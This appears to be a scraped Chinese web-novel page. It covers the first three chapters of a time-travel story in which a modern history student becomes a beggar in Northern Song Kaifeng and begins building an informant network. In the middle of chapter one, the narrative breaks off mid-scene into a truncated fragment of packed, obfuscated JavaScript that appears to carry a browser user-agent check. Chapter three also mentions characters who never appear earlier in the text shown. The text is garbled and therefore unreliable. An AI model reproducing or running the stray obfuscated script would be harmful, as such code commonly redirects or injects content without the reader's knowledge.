《一羽平天下》 1. 第一章 汴京城外的破庙 大中祥符四年的冬天冷得不讲道理。 东京汴梁城外，一处无名破庙里，一个少年蜷缩在稻草堆中，浑身瑟瑟发抖。他身上那件破旧的短褐早已看不出原本的颜色，露出的皮肤上满是冻疮和泥垢，活脱脱一个城外卖炭翁都不要的乞儿。 他忽然浑身一震，猛地睁开眼睛。 那双眼睛里先是茫然，继而警觉，最后——全是惊恐。 “这……这是哪儿？” 少年——不，应该说是一个困在这具少年身躯里的现代灵魂，拼命地转动眼珠。入目的是一尊缺了半张脸的泥塑菩萨，头顶是蛛网密布的破旧屋顶，透过窟窿能看见灰蒙蒙的天空。 一股刺鼻的霉味混着牲口粪便的气息直冲鼻腔。 他低头看自己的手——枯瘦如柴，指甲缝里全是黑泥，手腕上还结着一层厚厚的皴。 “我操。”他喃喃地说了一句，然后被自己沙哑的嗓音吓了一跳。 记忆如潮水般涌来，但不是他的记忆。 准确地说，是两股记忆正在他的脑海中角力。一股属于一个叫萧北翊的现代人——某不知名大学的历史系研究生，专攻宋史，副修兵法，毕业论文写的是《北宋初期情报网络与社会控制》。另一股，属于这具身体原本的主人——一个叫萧北翊的十六岁乞儿。 同名同姓，倒省了适应的功夫。 那个少年乞丐的记忆支离破碎，像是被人粗暴地撕扯过的旧帛。萧北翊快速翻捡着这些碎片：他记得五岁以前住在一座大宅子里，院子里有假山流水，还有一个很大的鱼缸。鱼缸。对，那个鱼缸救了他的命。然后是火。漫天的大火。哭喊声。他躲在鱼缸里，透过水纹看见红色的火光和黑色的身影。 后来就是流浪。乞讨。被人打。被人赶。睡在桥洞下，和野狗抢食。再后来，他流落到了东京城，加入了一群乞丐的团伙，苟延残喘地活着。 而现在，这个“萧北翊”的身体里，住进了一个来自千年之后的灵魂。 萧北翊挣扎着坐起来，一阵天旋地转。他摸了摸自己的额头，烫得厉害。这身体正在发高烧，原主人大概就是被这场病夺去了性命，然后被他这个穿越者鸠占鹊巢。 “穿越了。”萧北翊干涩地咧了咧嘴，“还真是穿越了。” 作为一个历史系研究生，他读过太多穿越小说，看过太多穿越剧。那些主角穿越之后要么是王侯将相，要么是世家公子，最不济也是个秀才举人。偏偏他穿越成了一个乞丐？还是快病死的乞丐？ 他深吸一口冰冷的空气，强迫自己冷静下来。 萧北翊有一个最大的优点——他几乎从不慌张。读研究生那三年，他在导师手下改论文改了六十多稿，早就练出了泰山崩于前而色不变的定力。 他迅速盘点了自己的处境。 第一，他在北宋大中祥符年间。这是宋真宗的时代，澶渊之盟后的第五年。朝中王钦若、丁谓等佞臣当道，皇帝沉迷于天书封禅，国势看起来还算太平，底下已经烂了根。 第二，他这具身体原主是个乞丐，社会地位约等于零。但好处是——最底层的人反而有最广阔的视野，因为没人会在意一个乞丐听见了什么、看见了什么。 第三，他手里最大的资本不是任何物质财富，而是脑子里的知识。二十四史，倒背如流。宋史，烂熟于胸。孙子兵法十三篇，能默写能讲解。再加上那些年看过的权谋小说、历史分析帖——虽然大部分是网友瞎扯，但其中不乏真知灼见。 第四，也是最要命的——他武力值为零。这具身体瘦弱不堪，一阵风都能吹倒。别说打架，就是跑两步都喘。 “所以，”萧北翊自言自语，声音嘶哑得像是破风箱，“一个手无缚鸡之力的乞丐，想要在北宋活出个人样来，靠什么？” 他闭上眼睛，脑中飞速运转。 答案很简单——靠脑子。 靠谋略，靠眼光，靠对人性的洞察，靠对局势的预判。他熟悉这段历史的走向，知道哪些人日后会飞黄腾达，哪些势力现在看似强大实则行将朽木。 这就是他的金手指。不是武功，不是异能，而是超越这个时代八百年的知识储备和思维格局。 萧北翊睁开眼睛，眼中已经没有了惊恐，取而代之的是一种冷静到近乎冷酷的光芒。 他要在东京城活下去。不仅仅是要活下去，还要活成一个人物。 “咕——” 一阵剧烈的肠鸣打断了他的豪情壮志。萧北翊低头看着自己干瘪的肚子，苦笑起来。再伟大的宏图霸业，也得先从填饱肚子开始。 他挣扎着站起来，扶着墙慢慢走出了破庙。 雪不知什么时候停了。 东京城外官道两旁，白茫茫一片。远处的城墙巍峨耸立，在冬日惨淡的阳光下显得格外厚重。 萧北翊眯着眼睛看着那座城市。那是东京汴梁，当世最繁华的都市，百万人口的大宋心脏。在它的城墙之内，有勾栏瓦舍，有酒楼茶肆，有达官贵人，也有像他这样在泥泞中挣扎求生的蝼蚁。 而他，要从蝼蚁做起。 萧北翊迈开步子，朝城门走去。 他走得很慢，不是因为故作姿态，而是因为实在没有力气。每走一步，都能感觉到膝盖在发软。嘴里苦涩，嗓子眼里像是塞了团棉花。 就在他快走到城门口的时候，身后忽然传来急促的马蹄声。 萧北翊本能地往路边一闪，却不料脚下踩到一块冻实的泥坨，整个人失去平衡，朝前栽倒。 “闪开！都闪开！” 一个尖利的声音大喊。萧北翊余光中瞥见一匹高头大马正向自己冲来，马上的骑士穿着锦衣，腰间挎刀，一看就是哪家权贵的家奴。 按照正常的剧本，他应该被马蹄踏中，然后被好心人救起，从此开启开挂人生。 但萧北翊从来不信这种剧本。 他在摔倒的瞬间，做了一个匪夷所思的动作——他顺势一滚，整个人滚进了路边的一道浅沟里。那沟只有半尺深，但正好能让一个瘦弱的身躯贴地藏身。 马蹄从他头顶掠过，带起一阵寒风。 “妈的，不长眼的东西！” 那骑士骂了一句，扬长而去。 萧北翊趴在沟里，心跳如擂鼓。不是因为后怕，而是因为他注意到了一件事——那骑士的马蹄上裹着铁掌，而且是崭新的铁掌。普通的马匹不会钉铁掌，能用得起铁掌的，要么是军马，要么是大户人家的乘骑。而那铁掌的样式，和他在历史资料里见过的北宋早期军马铁掌完全一致。 这意味着什么？意味着刚才那个趾高气扬的家伙，很可能来自禁军系统。禁军的家奴在东京城外纵马奔驰，说明这家的主子在军中有相当的地位。 一个将军的家奴，在真宗朝末期、天书封禅闹得最凶的时候，不在营中待着，跑到城外干什么？ 萧北翊把这根线索默默记在心里，撑起身体，继续朝城门走去。 进了城，一股热气夹杂着各种气味扑面而来。 东京城的街道上熙熙攘攘，卖炊饼的、卖肉羹的、卖杂嚼的，各种叫卖声此起彼伏。萧北翊的肚子又叫了一声，他咽了咽口水，努力不去看那些冒着热气的吃食摊子。 他身上一文钱都没有。原主仅有的那点破烂，在昨天夜里为了换一口热汤，已经全部给了城南一家黑心脚店的老太婆。 但他并不着急。 萧北翊在街边蹲下来，仔细观察着来往的行人。 一个挑着担子的货郎过去了，担子一头是针线脂粉，另一头是几本旧书。萧北翊的目光在那几本书上停留了两秒——都是时下流行的类书和诗集，没什么价值。 一个穿着青布袍子的书生走了过去，手里拿着一卷纸，边走边看。萧北翊瞥见那纸上写的是“奉天承运”四个字，心中一动。这是官方文书。一个普通书生，怎么能接触到官方文书？ 一个妇人牵着孩子走了过去，孩子手里拿着一个泥人。萧北翊注意到那个泥人的造型——是一个穿着铠甲的将军，骑在马上，威风凛凛。泥人的底座上刻着一行小字：“杨业老令公。” 萧北翊的眼睛微微眯了起来。 杨业，民间传说中杨家的老令公，真实历史上死于雍熙三年北伐之战，距今已经三十多年了。三十多年后，民间还在卖他的泥人，说明民间对他的记忆和情感并没有随着时间流逝而淡化。 这背后是一种情绪，一种对英雄的怀念，一种对当下时局的不满。 萧北翊默默地收集着这些信息，像是在玩一个大型的拼图游戏。每一块碎片看起来都微不足道，但拼在一起，就能勾勒出这个时代真实的面貌。 他忽然站起来，朝一条小巷子走去。 巷子里有一家茶摊，卖的是最便宜的粗茶，两文钱一碗。萧北翊当然买不起，但他不是来喝茶的。 他在茶摊旁边的地上蹲下来，捡起一根树枝，开始在地上写字。 写的不是字，是数字。 旁边喝茶的几个闲汉好奇地看过来。只见这个脏兮兮的乞丐在地上画出一个个格子，然后在格子里填上数字，横竖斜着加起来，得数全都一样。 “嘿，这花子倒有几分意思。”一个脸上有痣的中年汉子咂了咂嘴。 萧北翊头也不抬，继续写。他写的是一个九宫格，从一到九，填入格子，使得每行每列对角线之和均为十五。这是最简单的幻方，中国古代叫“九宫算”，出自《易经》八卦，在北宋时期已经被士大夫们玩烂了。 但萧北翊要的不是这个。 他忽然抬起头，看着那个脸上有痣的汉子，哑着嗓子问了一句：“这位阿郎，您可知道朝中哪位相公最精于九宫算法？” 那汉子一愣，上下打量了他几眼，嗤笑道：“你一个臭花子，打听朝中相公做什么？莫不是想算算自己什么时候能吃上饱饭？” 旁边几个人都笑了起来。 萧北翊也不恼，笑了笑，继续低头写字。这次他写的不是九宫格，而是一串数字。 他写的是圆周率，小数点后二十位。 3.14159265358979323846 在北宋，最精确的圆周率计算出自沈括的《梦溪笔谈》，但也只到小数点后六七位。二十位小数，在这个时代堪称降维打击。 果然，一个穿着半旧道袍的老者注意到了地上的数字。 老者原本只是路过，不经意间瞥见那串数字，脚步顿时定住了。他蹲下身，盯着那串数字看了好一会儿，瞳孔逐渐放大。 “小友，”老者抬起头，眼中满是惊疑，“这数字……你是从何处学来的？” 萧北翊抬起头，看着老者。老者的道袍虽然半旧，但布料上乘，腰间挂着一块玉牌，上面刻着一个“王”字。他脸上虽然带着温和的笑容，但眼神锐利，像是能看穿人心。 “仙长，”萧北翊哑着嗓子说，“这是一个圆周长与直径之比。小子虽落魄，幼时曾读过几年书，偶得一书，上有此数。” 老者眉头一挑：“一书？什么书？” 萧北翊摇头：“不知道。那书后来遗失了，小子只记得这一鳞半爪。” 老者的目光在他身上停留了片刻，似乎在判断这话的真假。片刻后，老者伸出手，将萧北翊从地上拉了起来。 这小乞丐虽然浑身肮脏，但那双眼睛—— 那双眼睛清澈得不像一个乞丐。 “走，”老者说，“随贫道去喝碗热汤。” 老者的名字叫王隐之，是东京城东太乙宫里一个不大不小的道士。说“不大不小”，是因为他既不是主持一方的道官，也不是打杂烧火的末流，而是一个专攻天文历算的学者型道士，在太乙宫里领着一份微薄的俸禄，日子过得清贫但体面。 他带萧北翊去的地方不是太乙宫，而是城南一座僻静的小院。院子不大，三间瓦房，院子里种着几株梅树，此时正开得热闹，暗香浮动。 “这是贫道的私宅，”王隐之推开院门，“平时少有人来，清净。” 萧北翊跟着他进了院子，目光不动声色地扫过四周。墙角的石槽里积着水，旁边有只木桶。屋檐下挂着几串干辣椒，窗户纸上没有一个窟窿。院子里的青砖路被扫得干干净净，连一片落叶都没有。 一个细节就能看出一个人的品性。王隐之虽然是个清贫道士，但生活有条不紊，说明他是个严谨自律的人。 王隐之烧了一锅热水，又从不大的厨房里端出一碗稠粥和两块蒸芋头，摆在院子里的石桌上。 “吃吧。” 萧北翊也不客气，端起碗狼吞虎咽。他不是在演戏，是真的饿疯了。滚烫的粥顺着喉咙滑下去，暖意从胃里向四肢蔓延，像是一双看不见的手，把他从死亡线上拽了回来。 王隐之坐在对面，安静地看着他吃。 等萧北翊把最后一块芋头塞进嘴里，老者才开口：“你是哪里人？听口音，不像是京师本地的。” 萧北翊放下碗，用袖子擦了擦嘴。他在来的路上已经想好了说辞。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他在这双眼睛里看到了一种不该属于一个十六岁少年的东西——那不是年轻人的锐气，而是经历过沧桑之后的老练。这个乞儿身上有秘密，很大的秘密。但王隐之活了五十八年，这辈子最大的优点就是不该问的不问。 “你想活得好一点，”老者慢慢说，“贫道可以帮你。但贫道也有一个条件。” “道长请讲。” “贫道教不了你经史子集，那些东西你大概比贫道还清楚。”王隐之说，“但贫道可以教你一样本事——算学。不是市面上那种粗浅的算账，而是真正的算学，是能把天地万物装进数字里的学问。” 萧北翊心中一动。 “道长，”萧北翊忽然问了一个看似不相干的问题，“您跟太乙宫的王钦若王相公，是什么关系？” 王隐之的脸色变了。 “贫道和王相公，”老者斟酌着词句，“是同族。” 萧北翊心中已经了然。太乙宫，王钦若，同族道士——这三条线索串联起来，指向一个结论：眼前这位王隐之，是当朝权相王钦若的族亲。他之所以清贫，不是因为没机会富贵，而是因为不屑于攀附权贵。 这样的人，恰恰是最有价值的人脉节点。 “小子明白了，”萧北翊拱手，“多谢道长收留。” 王隐之摆手：“收留谈不上。贫道这座小院，多你一张嘴不多，少你一张嘴不少。但丑话说在前头——贫道每月俸禄有限，供你吃住已经是极限。你若想读书认字，笔墨纸砚的钱，得自己想办法。” “小子明白。” “还有，”王隐之站起身来，拍了拍袍子上的灰尘，“贫道这个人有个毛病，不喜欢被人骗。你身上那套说辞，贫道听得出有不尽不实的地方。贫道不问，你也别主动说。你我之间，坦诚相待即可。” 萧北翊心中一凛，站起来，认认真真地给王隐之行了一礼：“道长放心。” 萧北翊转身走了两步，忽然又停下，回过头来。 “道长，”他问，“小子斗胆问一句，寇莱公现在何处？” 王隐之一愣：“你认识寇准？” “小子岂敢认识那样的大人物，”萧北翊低头，“只是小时候听家父提过，说寇莱公是真正的忠臣。如今朝中……小子怕忠臣没有好下场。” 王隐之沉默片刻，叹了口气：“寇准如今在天雄军，离京师远着呢。你操这份心做什么？” 萧北翊摇头不语。 “道长，”萧北翊最后说，“若有一日寇莱公回京，请务必告诉小子。” 王隐之看了他一眼，没答应也没拒绝，只是摆了摆手让他去睡。 当天夜里，萧北翊躺在王隐之院子里堆放杂物的柴房里，身上盖着一条老道士找出来的旧棉被，听着窗外北风呼啸，久久不能入睡。 他伸出手，借着月光看着自己枯瘦的掌心。 今天发生的一切，看似偶然，实则每一步都在他的算计之中。他在城门口观察行人，是为了判断这个时代的社会状态和人心的流向。他在茶摊前写数字，是为了筛选出那些有文化、有好奇心、又不太会被世俗偏见束缚的人。王隐之的出现是随机事件，但他选择展示圆周率而非九宫格，正是看准了这位老道士腰间的玉牌和道袍的质地。 萧北翊闭上眼睛，在脑海中勾勒着未来的图景。 第一步，活下去。这一步已经完成。 第二步，建立情报网络。这是最关键的一步。在北宋这个没有电报、没有互联网的时代，信息的传递速度慢得令人发指。但如果能把市井中那些最不起眼的人——乞丐、小贩、脚夫、丫鬟、妓女——都变成自己的耳目，那么这张网就能覆盖整个东京城。 萧北翊给这个还没出生的系统取了一个名字——赤羽。 赤，是烈火燎原的赤；羽，是羽翼无声的羽。 他翻了个身，嘴角微微上扬。 窗外，明月高悬，照着这座千年帝都的万家灯火。没有人知道，在这个寒冷的冬夜里，一颗小小的种子已经悄悄埋进了东京城的泥土里。 柴房外忽然传来脚步声。萧北翊立刻闭上眼睛，呼吸变得均匀，装出一副熟睡的样子。 脚步声在柴房门口停下，停顿片刻，然后轻轻离去。是王隐之。 萧北翊重新闭上眼睛，在意识沉入黑暗之前，一个念头闪过他的脑海——王隐之去看他时，脚步轻得几乎没有声音。一个五十八岁的道士，走路不应该这么轻。 除非他会武。 萧北翊在黑暗中微微笑了一下。 有趣。 2. 第二章 桑家瓦子的范先生 萧北翊在柴房里住了三天。 这三天里，他没有急着出门“闯荡江湖”，也没有急着去找什么机缘。他做了一件看起来毫无用处、实则至关重要的事情——观察。 每天天不亮，他就爬起来，蹲在院门口的台阶上，看着这条巷子里的人来来往往。巷子叫甜水巷，因为巷口有一口甜水井而得名。住在这里的多半是东京城里不上不下的中等人家，有开杂货铺的，有在衙门当差的小吏，也有像王隐之这样清贫但体面的读书人。 萧北翊用了三天时间，把这条巷子里每一户人家的情况摸了个七七八八。 巷口卖豆腐的老孙头，每天早上卯时二刻准时出摊，他老婆负责磨豆子，他负责叫卖。老孙头的豆腐做得不错，但人品不怎么样——萧北翊亲眼看见他把昨天卖剩的豆腐掺进今天的新豆腐里，还多收了一个小姑娘一文钱。 巷中第二家是开纸马铺的赵四郎，专卖冥器纸钱。这人倒是个老实人，只是运气不好，去年死了老婆，今年又死了老娘，生意也冷冷清清。萧北翊注意到他每天早上开门前都会对着供桌上的牌位烧一炷香，眼眶红红的。 巷尾住着一个姓周的寡妇，带着一个七八岁的儿子。周寡妇靠给人洗衣裳度日，日子过得紧巴巴的，但她儿子的衣裳虽然旧，却洗得干干净净、补得整整齐齐。萧北翊在心里给这个寡妇打了个标签：自尊心强，值得结交。 但萧北翊最感兴趣的不是这些平头百姓，而是巷子里一个不起眼的“异类”。 那是一个三十来岁的男人，住在赵四郎隔壁。这人每天早出晚归，回来时身上总带着一股马粪味和皮革味。他穿着打扮像个普通工匠，但萧北翊注意到一个细节——这人走路的时候，左脚总是先迈出去，而且每一步的步幅几乎一模一样。 这是行伍之人的习惯。 一个当兵的，为什么住在甜水巷这种平民聚居的地方？为什么每天早出晚归，身上带着马粪味和皮革味？ 萧北翊在心里把这个人的特征记了下来。不是因为他觉得这个人有多重要，而是因为他养成了一个习惯——记下每一个“不合理”的细节。这些细节单独看毫无意义，但拼在一起，就是一幅完整的图画。 第三天傍晚，王隐之从太乙宫回来，看见萧北翊蹲在台阶上发呆，忍不住问：“子翼，你在看什么？” ——子翼。这是王隐之给他取的字。 那天王隐之问他有没有字，萧北翊说没有。老道士想了想，说：“你叫北翊，北乃方位，翊乃辅佐飞翔之意。老夫给你取个字，叫子翼如何？子者，尊称也；翼者，羽翼也。子翼，愿你成为北方之翼，有朝一日展翅高飞。” 萧北翊当时就觉得这字取得好，跟“赤羽”莫名地搭。从此，亲近之人都称他“子翼”，或者更随意些——“萧哥”“子翼哥”。 “看人。”萧北翊说。 “看人有什么用？” 萧北翊想了想，说了一个不太像答案的答案：“人就是路。把一个人看透了，就知道他背后连着多少条路。” 王隐之愣了一下，随即摇了摇头：“你这个人说话，总让贫道觉得不像是十六岁的后生。” 萧北翊笑了笑，没接话。 王隐之把买回来的菜递给萧北翊，让他帮忙择。两人坐在院子里，一边择菜一边有一搭没一搭地聊天。 “道长，”萧北翊忽然问，“东京城里有多少乞丐？” 王隐之手一停，皱眉想了想：“这个倒没数过。少说也有几千吧。” “那这些乞丐归谁管？” “乞丐还有什么管不管的？”王隐之不解，“他们散落在城里各处，各自讨各自的饭，哪有人管他们？” 萧北翊心说，不对。 任何一个时代，乞丐都不是“没人管”的。他们有自己的圈子，有自己的规矩，甚至有自己的“帮主”和“地盘”。在原主的记忆里，东京城的乞丐大致分为三拨：城东一带归一个叫“瘸腿张”的老乞丐管，城南一带听一个叫“孙婆婆”的老乞婆号令，城西和城北则是一盘散沙，没什么组织。 但这些“组织”太松散，太原始，顶多就是划分一下讨饭的地盘。真正有用的是那些不为人知的“散丐”——他们不属于任何团伙，游离在各个圈子之外，反而能看到更多东西。 萧北翊在心里盘算着，嘴上却说：“道长说得对，小子随便问问。” 王隐之看了他一眼，显然不信，但也没追问。 两人沉默了一会儿，萧北翊又开口了：“道长，您上次说寇莱公在天雄军。天雄军离京师多远？” “快马也要七八天。”王隐之说完，忽然警惕地看着萧北翊，“你老问寇准做什么？” “小子说了，家父生前敬重寇莱公。”萧北翊面色平静，“小子想，有朝一日若能见上寇莱公一面，替家父了了这个心愿，也算尽孝了。” 王隐之沉默了片刻，叹了口气：“寇准这个人，太刚直。刚则易折，直则易伤。他在朝中的时候得罪了太多人，如今被贬到天雄军，未必是坏事。” 萧北翊心里说：那可不一定。但嘴上没再说什么。 第四天，萧北翊终于出门了。 他跟王隐之借了一文钱，在巷口的胡饼摊上买了一块胡饼，揣在怀里，一路朝城南走去。 他要去的地方叫“瓦舍”。 东京城的瓦舍，说白了就是大型娱乐综合体。里面有说书的、唱曲的、杂耍的、卖药的、算命的，三教九流，无所不包。萧北翊去瓦舍当然不是为了娱乐，而是为了——听消息。 瓦舍是最鱼龙混杂的地方，也是消息流通最快的地方。一个说书人讲完一段《五代史》，底下听客的议论就能让你知道民间对朝政的真实看法。一个卖药的在台上吆喝两句，你就能知道最近城里又流行什么瘟疫。 萧北翊去的这家瓦舍叫“桑家瓦子”，在城南相国寺附近，是东京城里最大的瓦舍之一。他没花钱进去，而是在瓦舍外面的巷子里蹲着，耳朵竖得像兔子一样。 不一会儿，一个穿着青布直裰的中年人从瓦舍里出来，边走边摇头叹气。萧北翊注意到他袖子里揣着一卷纸，纸上隐隐约约能看到字迹。 “这位阿郎，”萧北翊突然开口，“可是有什么烦心事？” 中年人一愣，低头看了看蹲在墙根的乞丐，本想不理，但萧北翊接下来的话让他停住了脚步。 “小子看阿郎眉间有郁结之气，脚步沉重，分明是心中有话说不出口。阿郎从瓦舍出来，袖中又揣着纸卷，想必是刚听了说书，心中有所感慨，想提笔写点什么，又不知从何写起。” 中年人瞪大了眼睛。 萧北翊笑了笑，从怀里掏出那块胡饼，掰成两半，递了一半过去：“阿郎若不嫌弃，坐下来聊聊？小子虽然是个叫花子，但耳朵好使，嘴巴也严实。” 中年人犹豫了一下，竟然真的蹲了下来，接过那半块胡饼，咬了一口。 “你叫什么名字？” “小子姓萧，名北翊，字子翼。” “萧子翼……”中年人嚼着胡饼，忽然问，“你方才说我心中有话说不出口——你怎么看出来的？” 萧北翊指了指自己的眼睛：“小子看人，先看眼睛。阿郎从瓦舍出来的时候，眼神里有光，但嘴角往下撇。有光是心里有触动，嘴角下撇是说不出来。再一看阿郎袖中的纸卷，纸卷被捏得皱巴巴的，说明阿郎攥得很紧。把心里话攥得这么紧的人，多半是觉得说出来也没人懂。” 中年人的眼眶忽然红了。 “你一个乞儿，怎么懂这些？” 萧北翊心里说：我读研究生的时候，导师改论文从来不给具体意见，只说“你再想想”，那种想说话说不出来的感觉，我太懂了。 但他嘴上说的是：“叫花子别的本事没有，看人脸色的本事还是有的。不然怎么讨得到饭？” 中年人被逗笑了，笑完又叹了口气。他抽出袖中的纸卷，展开给萧北翊看。 那是一篇尚未写完的文章，开篇写道：“天下之事，有因必有果，有果必有因……” 萧北翊扫了一眼，心中一震。 这篇文章的笔法、用词、格局，都不像是普通人写的。普通人写文章，要么堆砌辞藻，要么空谈道理。但这篇文章不一样，它从一件事入手，层层递进，由表及里，把一件小事的因果链条拆解得清清楚楚。 这种思维方式，这种逻辑能力，这种文字功底—— “阿郎，”萧北翊抬起头，“您是读书人？有功名在身？” 中年人苦笑：“功名？十年前倒是中过进士，后来……罢了，不提也罢。” 萧北翊的心跳加速了。十年前中过进士，如今落魄到在瓦舍里听书解闷——这样的人，要么是被贬官的，要么是辞官归隐的。无论哪一种，他的阅历和见识都远超常人。 “阿郎贵姓？” “免贵，姓范。” 萧北翊脑中飞速运转。姓范，十年前中进士，文风雄健，逻辑缜密——难道是他？ “范……范文正公？” 中年人一愣：“什么文正？某又不曾死，哪来的谥号？” 萧北翊在心里狠狠扇了 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但他只是淡淡地说：“小子流浪的时候，听过路的人讲过。” 范仲淹盯着他看了好一会儿，忽然说了一句莫名其妙的话：“你愿不愿意跟某走？” 萧北翊心中大喜，但面上不动声色：“跟阿郎去哪儿？” “某要去赴任，路过京师，再过两日就要走了。”范仲淹说，“某身边缺一个磨墨抄书的书童，你若愿意，管吃管住，每月还有五百文的月钱。” 萧北翊脑子转得飞快。跟范仲淹走？这意味着他可以近距离接触这位未来的庆历新政领袖，可以借助范仲淹的人脉进入士林。 但他的长远目标在东京。东京才是权力的中心，才是他布下“赤羽”这盘棋的主战场。 “阿郎，”萧北翊斟酌着词句，“小子多谢阿郎抬爱。但小子在京师还有未了之事，暂时走不开。” 范仲淹有些意外，但也没强求，从袖中摸出一块碎银子，塞到萧北翊手里：“那这个你拿着，买件厚衣裳穿。京师冬天冷，别冻死了。” 萧北翊推辞了一下，最后还是收下了。 “多谢阿郎，”萧北翊拱手，“小子有一言，不知当讲不当讲。” “讲。” “阿郎文章中说‘天下之事有因必有果’，小子深以为然。但小子还想说一句——有些果，是可以改变的。只要在因上下手，趁早下手。” 范仲淹一愣，随即哈哈大笑：“你一个乞儿，倒是比某还有雄心壮志！” 他笑着走了，走了几步又回头看了萧北翊一眼，眼中带着一丝说不清道不明的东西。 萧北翊蹲在原地，看着范仲淹的背影消失在巷口，心里默默地说了一句：范公，咱们还会再见面的。 回到甜水巷的时候，天已经擦黑了。 王隐之还没回来，院子里冷冷清清的。萧北翊进了柴房，把范仲淹给的那块碎银子藏在谁也找不到的地方，然后拿出从外面捡回来的一根竹片，开始在泥地上写写画画。 他在画一张图。 这张图不是地图，不是建筑图，而是一张“人脉图”。图上密密麻麻地写满了人名、地名、关系线，像是一张巨大的蜘蛛网。 中心点是他自己——萧北翊。 从中心点出发，第一条线连到王隐之，王隐之后面连着太乙宫，太乙宫后面连着王钦若。王钦若虽然是奸臣，但奸臣也是“权臣”，只要用得巧妙，奸臣也能变成自己的棋子——当然，这步棋他现在还不敢下。 第二条线连到范仲淹。范仲淹虽然现在是个不起眼的小官，但萧北翊知道，这个人将来会成为朝中举足轻重的人物。 第三条线连到甜水巷里的那个“军人”——萧北翊还没摸清他的底细，但已经在图上画了一个问号。 第四条线连到东京城的乞丐网络。这是他现阶段最关注的。他把东京城分为东、西、南、北、中五个片区，每一个片区都标注了他已知的乞丐头目和松散乞丐的分布情况。 这张图还很简陋，有很多空白和问号。但萧北翊不急。他知道，要布一局大棋，急不得。 他在图的顶端写了一行字：赤羽——预备期。 “还不能叫元年，”他自言自语，“赤羽还没影呢。” 他闭上眼睛，开始在脑海中筛选目标。东京城乞丐数千人，但不是每个人都适合做情报工作。他要找的是那种——机灵、但看起来不机灵；嘴严、但看起来话多；能吃苦、但不会把吃苦挂在嘴边的人。 这种人不好找。但萧北翊有信心。 3. 第三章 甜水巷的豆腐脑生意 赤羽的第一次“正式营业”，来得比萧北翊预想的要快，也比他预想的要搞笑。 事情是这样的。 赤羽的九个骨干散出去三天后，各自带回来一堆消息。萧北翊蹲在柴房里，把九个人叫来，一个个地听汇报。王隐之的院子再次被乞丐占领，老道士躲在正屋里假装没看见，但萧北翊分明听见他在屋里骂了一句“作孽”。 “我先来我先来！”赵大锤第一个举手，憨厚的脸上满是兴奋，“萧哥，城北那边我打听到一件事——官驿巷的孙寡妇家的猪跑了！” 院子里安静了一瞬。 萧北翊看着他：“……猪跑了？” “对！跑了两条街，咬了一个卖菜的，最后被一个屠户一刀捅死了。孙寡妇哭了一整天，说那是她男人留给她的唯一念想。”赵大锤说得眉飞色舞，仿佛在汇报什么惊天大秘闻。 萧北翊深吸一口气，努力让自己的表情看起来不那么绝望：“大锤啊，咱们做的是消息买卖，不是八卦小报。猪跑了这种事，除非那猪嘴里叼着传国玉玺，否则不值一文钱。” 赵大锤挠了挠头，似懂非懂。 “下一个。”萧北翊说。 钱串子清了清嗓子，从袖子里摸出一张皱巴巴的纸，上面密密麻麻写满了字。萧北翊凑过去一看——好家伙，这账房先生果然是专业的，连消息都做得跟账本似的，分门别类，条理清晰。 “城中的消息，我分了三类。”钱串子推了推并不存在的眼镜——他的眼镜早在三年前就当掉了——“第一类，市井消息。东十字大街的‘醉仙楼’最近换了个厨子，老主顾抱怨菜不好吃了，生意掉了三成。第二类，商贾消息。马行街的‘赵家粮铺’进了五百石新米，是从淮南运来的，价格比市价低一成。第三类，官府消息——” 他说到这里，压低了声音。 “城中的‘清风茶楼’，最近半个月来了一个生面孔。此人每天下午申时准时到，坐在二楼靠窗的位置，点一壶龙井，坐一个时辰就走。茶楼的伙计说，这人从来不跟人搭话，但有一次不小心看到他的腰牌——是枢密院的。” 萧北翊的眼睛亮了。 枢密院，北宋的最高军事机构，掌管天下兵权。一个枢密院的人，每天固定时间出现在茶楼，既不办公务也不见人，只是坐着喝茶——这要么是在等人，要么是在盯梢。无论哪一种，都值得深挖。 “这条消息保留，”萧北翊说，“先不要声张，继续观察。” 钱串子点了点头，在本子上记了一笔。 孙驼子第三个汇报。老乞丐蹲在梅树下，一边抽着萧北翊孝敬的旱烟一边慢悠悠地说：“城南嘛，没什么大事。就是相国寺门口那个算命的张半仙，最近被人砸了摊子。” “为什么被砸？” “他给人家算命说能生儿子，结果人家生了闺女。那汉子是个杀猪的，脾气暴，直接把摊子掀了。”孙驼子吐了一口烟圈，“不过有意思的是，那汉子掀完摊子，第二天张半仙的摊子又支起来了，而且生意比以前还好了。” 萧北翊一愣：“为什么？” “因为张半仙在摊子旁边立了个牌子，写着‘算错赔十’。”孙驼子咧嘴一笑，露出一口黄牙，“这老小子倒是会做生意。” 萧北翊忍不住笑了。这倒是个有意思的案例——一个人从失败中找到新的商机，这放在现代叫“危机公关”，放在北宋就是市井智慧。 阿九最后一个汇报。 她没像其他人那样蹲着，而是靠着柴房的门框站着，双手抱胸，下巴微微扬起。这姑娘虽然穿着破旧的棉袄，头发也乱糟糟的，但浑身上下透着一股“别惹我”的气势。 “城西的消息，”阿九说，声音不大但很清楚，“有三条值得说。第一，城西的‘悦来客栈’最近住进了一个从四川来的商人，姓李，做茶叶生意的。他每天早出晚归，出入的都是大商行，看样子是要做大买卖。” “第二，”阿九竖起两根手指，“城西的‘孙家瓦舍’最近在招杂役，管事的是个胖子，姓朱，好色。已经有两个去应征的小姑娘被他占了便宜。这事要是捅出去，够他喝一壶的。” 萧北翊点了点头，心里开始盘算——这倒是个可以拿捏的把柄。不是说他要去干坏事，而是手里多一张牌，总比没有强。 “第三，”阿九竖起第三根手指，嘴角微微上扬，“萧哥，你猜我在城西碰见谁了？” “谁？” “一个自称‘东京第一神算’的老头，在街上摆摊算卦。我蹲在旁边听了一会儿，发现这老头算的卦，十卦九不准。” 萧北翊有些不解：“这算哪门子消息？” 阿九看着他，眼里闪过一丝狡黠：“萧哥，你不是说咱们要做消息买卖吗？那老头虽然算卦不准，但他认识的人多。城西三教九流，没有他不熟的。这种人，要是能拉进赤羽——” 萧北翊恍然大悟。 阿九说的不是那个算卦老头，而是算卦老头背后的“人脉网”。一个在城西混了几十年的老江湖，认识的人、知道的事，比十个赵大锤都多。 “有道理，”萧北翊点头，“你试着跟他接触一下，看看有没有可能拉过来。但别急，先交朋友，别谈生意。” 阿九“嗯”了一声，不再说话。 